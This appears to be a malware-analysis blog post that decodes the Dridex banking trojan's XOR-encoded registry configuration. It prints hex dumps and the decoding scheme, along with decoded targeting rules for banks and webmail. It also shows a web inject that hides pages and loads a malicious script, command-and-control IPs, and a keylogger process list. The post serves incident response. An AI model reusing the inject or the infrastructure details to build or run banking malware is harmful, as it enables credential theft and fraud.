virusSeveral malicious registry keys are created by the Dridex banking malware, which can be used to detect infected systems as shown in the previous post. One of these keys contains the configuration and injects; whereas the loft method provides configuration updates in real-time, deciphering the registry makes it possible to determine the configuration which impacted a specific workstation during an incident response investigation.

On our test machine, the following values have been created:

Key: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{E2ED3E7C-9FC3-73EE-9B36-09F4622C8F48}\ShellFolder
Value: "01D0A36582C42F40"=hex:de,8e,58,1b,bf,ad,16,9a,a6,14,38,c6,52,0e,af,20,83,9e,
 56,41,bd,a6,47,df,fe,57,38,90,07,1a,b8,2b,d4,8e,5a,44,a7,a6,47,d7,fe,53,6d,
 c5,51,19,ba,71,86,de,5b,4a,fd,f6,4b,d9,aa,03,3a,97,57,0e,af,2a,8d,99,4a,15,
 fc,a8,1e,87,f5,0b,2b,c5,52,1e,bf,6a,c2,8f,51,08,eb,aa,10,85,f6,57,71,c9,40,
 1d,bc,70,d2,cf,1e,12,f0,a7,16,9a,f2,55,62,99,0b,42,b2,6a,d3,dd,0c,4c,bd,e3,
[...]
Value size: 1007 bytes
Key: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{91779CCE-14F2-1D89-01D5-723992394513}\ShellFolder
Value: "01D0A3627F308890"=hex:90,77,a9,7c,3c,f2,f0,e5,46,1c,c3,7b,fd,97,c1,19,aa,ce,
 1f,c5,2f,51,80,82,3a,7f,ec,26,a9,83,df,19,aa,d7,12,cd,2f,51,83,cc,6e,38,e3,
 09,ea,d9,44,13,5c,57,81,ce,ec,89,a1,9b,d1,dc,ab,58,05,37,8b,62,0c,50,0e,bd,
 94,ed,dd,e2,90,c3,a9,77,44,21,96,6c,40,76,90,90,df,eb,1d,3b,35,f1,82,f8,c9,
 7a,d0,c2,c4,20,04,12,45,a2,b1,15,46,96,e7,e9,fa,33,d7,c6,90,39,94,86,07,f2,
[...]
Value size: 59 318 bytes

Due to its size, the second entry is likely to contain the configuration and injects. Using Process Monitor shows this value is read when launching the browser, which supports this hypothesis.

We set a breakpoint on the NtQueryValueKey system call, run the browser and wait for the value 01D0A3627F308890 to be read. By stepping through the code following this read, we immediately stumble upon a first XOR loop:

xor1

The ebx register points to the registry value content:

(gdb) hexdump $ebx 128
0x05eacbb0: 90 77 a9 7c 3c f2 f0 e5 46 1c c3 7b fd 97 c1 19 |.w.|<...F..{....|
0x05eacbc0: aa ce 1f c5 2f 51 80 82 3a 7f ec 26 a9 83 df 19 |..../Q..:..&....|
0x05eacbd0: aa d7 12 cd 2f 51 83 cc 6e 38 e3 09 ea d9 44 13 |..../Q..n8....D.|
0x05eacbe0: 5c 57 81 ce ec 89 a1 9b d1 dc ab 58 05 37 8b 62 |\W.........X.7.b|
[...]

The value in al comes from ecx which is the name of the key the value has been created in:

(gdb) hexdump *(int*)$ecx 16
0x05e18fc8: 91 77 9c ce 14 f2 1d 89 01 d5 72 39 92 39 45 13 |.w........r9.9E.|

The following result is obtained after this XOR loop:

0000000: 0100 35b2 2800 ed6c 47c9 b142 6fae 840a ..5.(..lG..Bo...
0000010: 3bb9 830b 3ba3 9d0b 3baa 9e1f 3bba 9a0a ;...;...;...;...
0000020: 3ba0 8e03 3ba3 9e45 6fed 9130 78e0 0100 ;...;..Eo..0x...
0000030: cd20 1d00 f87b bc12 d009 d961 970e ce71 . ...{.....a...q
0000040: 9d27 9273 801f c06b 9116 db4e d618 d37f .'.s...k...N....
0000050: d101 0c5e cb19 00b2 3424 f0c1 5b43 95d1 ...^....4$..[C..
0000060: 5557 98dc 5150 ac9c 4743 95d0 680a 92d5 UW..QP..GC..h...
0000070: 014e 0848 1300 4b5c 2a32 313d 4853 1772 .N.H..K\*21=HS.r
0000080: 4240 6439 5053 293d 0501 30d0 584c 00ea B@d9PS)=..0.XL..
0000090: 54f2 cab4 3c86 be9a 27c8 e5c5 2385 bdb6 T...<...'...#...
00000a0: 7a90 ab84 3f9e a384 31ae e4c2 3a93 be9d z...?...1...:...
00000b0: 3181 beb6 7a91 a587 2880 a899 08dc a985 1...z...(.......
00000c0: 398e bf86 2786 af98 3693 a481 08dc e283 9...'...6.......
00000d0: 318e a985 08dc bf81 7ddb e501 2d1d 0a2c 1.......}...-..,
00000e0: 0021 9485 0642 fce4 7544 fbeb 6a48 fae0 .!...B..uD..jH..
00000f0: 5a0f f7ed 6752 f1d9 2842 fbe8 296c edc4 Z...gR..(B..)l..
0000100: 6542 fbf0 6855 e7d9 2840 e7f5 7e02 0000 eB..hU..(@..~...
0000110: 0011 00d9 922f 8085 bc07 f3ae f406 a8fd ...../..........
0000120: ee73 bff0 0200 0000 1400 e075 c50e cf1c .s.........u....
[...]

No string appears in clear but some delimiters such as 0100 (offsets 0 and 0x2e for example) and 0200 (offset 0x124) suggest a storage in a binary format unlike the usual XML document already seen for this family.

With the watchpoint method, we can determine the address at which a known string (such as a domain name belonging to a bank targeted by Dridex) appears in clear for the first time, and we stumble upon a second XOR loop:

xor2

The string before applying XOR is:

(gdb) hexdump $esi+4*$edx 48
0x05e8a2a0: b1 42 6f ae 84 0a 3b b9 83 0b 3b a3 9d 0b 3b aa |.Bo...;...;...;.|
0x05e8a2b0: 9e 1f 3b ba 9a 0a 3b a0 8e 03 3b a3 9e 45 6f ed |..;...;...;..Eo.|
0x05e8a2c0: 91 30 78 e0 00 00 00 00 00 00 00 00 00 00 00 00 |.0x.............|

These are the bytes at offset 0xa in the result of the first XOR. The XOR key is:

(gdb) p/x $ecx
$209 = 0xc9476ced

It is simply the 4 previous bytes! Moreover, the string size is 0x24, that is to say 4 more than the 0x0028 number located just before (short little-endian integer). At the end of the XOR loop, we obtain the first configuration file string:

(gdb) hexdump 0x05e8a2a0 48
0x05e8a2a0: 5c 2e 28 67 69 66 7c 70 6e 67 7c 6a 70 67 7c 63 |\.(gif|png|jpg|c|
0x05e8a2b0: 73 73 7c 73 77 66 7c 69 63 6f 7c 6a 73 29 28 24 |ss|swf|ico|js)($|
0x05e8a2c0: 7c 5c 3f 29 00 00 00 00 00 00 00 00 00 00 00 00 ||\?)............|

The 0100 tag decoded here corresponds to the httpshots tag from the Dridex XML configuration file. Here is a quick corresponding table between binary and XML tags:

  • 1: httpshots
  • 2: formgrabber
  • 3: httpinjblock
  • 5: httpblock
  • 6: clickshots
  • 7: httpinjects
  • 15: redirects

In addition to (tag, string size, XOR key, XORed string) tuples, each structure has some space left for other necessary malicious parameters. For example, after an encoded URL, a clickshots structure contains 3 integers representing the clicks, xrange and yrange attributes from the XML file, on this example 0xf, 0x32 and 0x32 respectively, coding the size of the area to capture at each mouse click:

struct06

Once the main elements of each structure have been understood, the whole registry value can be statically decoded:

httpshots size 24 key ed6c47c9
\.(gif|png|jpg|css|swf|ico|js)($|\?)
httpshots size 19 key f87bbc12
(resource\.axd|yimg\.com)
httpshots size 48 key ea54f2ca
^https://www\.bankline\.(natwest\.com|rbs\.com|ulsterbank\.(ie|co\.uk))/
[...]
formgrabber size 2e key c4615501
^https?://accounts.google.com/ServiceLoginAuth
formgrabber size 1a key b401e2e5
^https?://login.yahoo.com/
formgrabber size 1f key 2ed4d04d
^https?://(\w+\.)?facebook.com/
[...]
httpinjblock size 11 key 20d9cf60
(|\.)alstats\.com
httpinjblock size 13 key 732ee951
uni\.ibank\.nbg\.gr
[...]
httpblock size 10 key 8902dae0
.*\.levexis\.com
httpblock size f key 4e44a851
.*\.omtrdc\.net
[...]
clickshots size 3a key 60c695cc
^https://banking\.bankofscotland\.co\.uk/Logon/Logon\.aspx
clicks 15 xrange 50 yrange 50
clickshots size 51 key 396bdda6
^https://ibank1\.bib\.barclays\.com/logon/bibapplication.+LOGON\.VALIDATE\.SIGNED
clicks 12 xrange 40 yrange 40
[...]
redirects size b key bb79b522
twister5.js
uri size 21 key f367231e
https://5.135.165.170:8443/addons
[...]
httpinjects
    condition size 29 key 476d603c
    ^https\://.*lloydsbank\.co\.uk/personal.*
    pattern size c key f617ca6d
    (\<head.*\>)
    replacement size 13a key 1b067813
    \1<style type="text/css">
    body {visibility: hidden; }
    </style>
    <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
    <script type="text/javascript">var jq = jQuery.noConflict();</script>
    <script type="text/javascript" src="twister5.js?system=176"></script>
[...]

French banks are listed in the clickshots section corresponding to the routine bypassing the virtual keyboard by taking a screenshot at each mouse click.

Getting back to the first registry value mentioned at the beginning of the post, the first XOR loop with the key E2ED3E7C9FC373EE9B3609F4622C8F48 immediately provides an XML document:

<cfg net="120" hash="e41ea1de67c6cd88e49eed13559d3e6b587153c5" bottickmin="1020" bottickmax="1380" nodetickmin="1020" nodetickmax="1380" port="0" status="1" build="196621">
    <tick></tick>
    <node>217.128.205.213:443,89.94.24.247:443,2.10.33.137:443,81.64.43.242:443,5.135.28.117:443,88.174.169.164:1443,185.92.221.196:443,80.14.249.213:443,147.94.204.66:443,87.117.229.29:443,77.195.0.36:443,147.94.177.161:443</node>
    
    <latest nodeidx="6" tickidx="-1" keylog="WinBacs,albacs,Albany.EFT.Corporate.Client,wpc,eSigner,StartStarMoney,StarMoney,acsagent,accrdsub,acevents,acCOMpkcs,ac.sharedstore,jp2launcher,cspregtool,RegisterTool,OEBMCC32,sfirm,Bbm24win,wip,paypen,mammut_tb,telelink,translink,deltaworks,dfsvc,bitcoin-qt,multibit,BacscomIP2,runclient,paycentre,accesspay,PaymentStudio,DiasClient,SynIntegrationClient,QuestLauncher,RemoteAdminServer,SymForm2App,plink,launch,PaygateWpfClient,terminal,Telelink,EBsec,ftrskr,Suite,Entreprise,rbpmain2,rbpmain,tkc,ecbl-[french bank],sagedirect,sllauncher" />
</cfg>

This other registry value provides further information such as the botnet identifier (120), malicious nodes and a list of programs which the keylogger module will be enabled in. The ecbl-[french bank] string corresponds to the e-Carte Bleue (“e-Blue Card”) software used by several French banks to generate one-time credit card numbers bound to a real bank account (the real name of the bank has been removed for obvious confidentiality reasons).

Conclusion

Although being already known for some time in the banking malware landscape, Dridex suddenly became famous in France during June 2015 due to several massive spam campaigns written in French, whose payloads were particularly badly detected by AVs. Its configuration and injects are stored in the Windows registry in a binary form with a simple XOR encoding. Decoding them shows that several French banks are explicitly targeted via the keylogging and virtual keyboard bypass modules.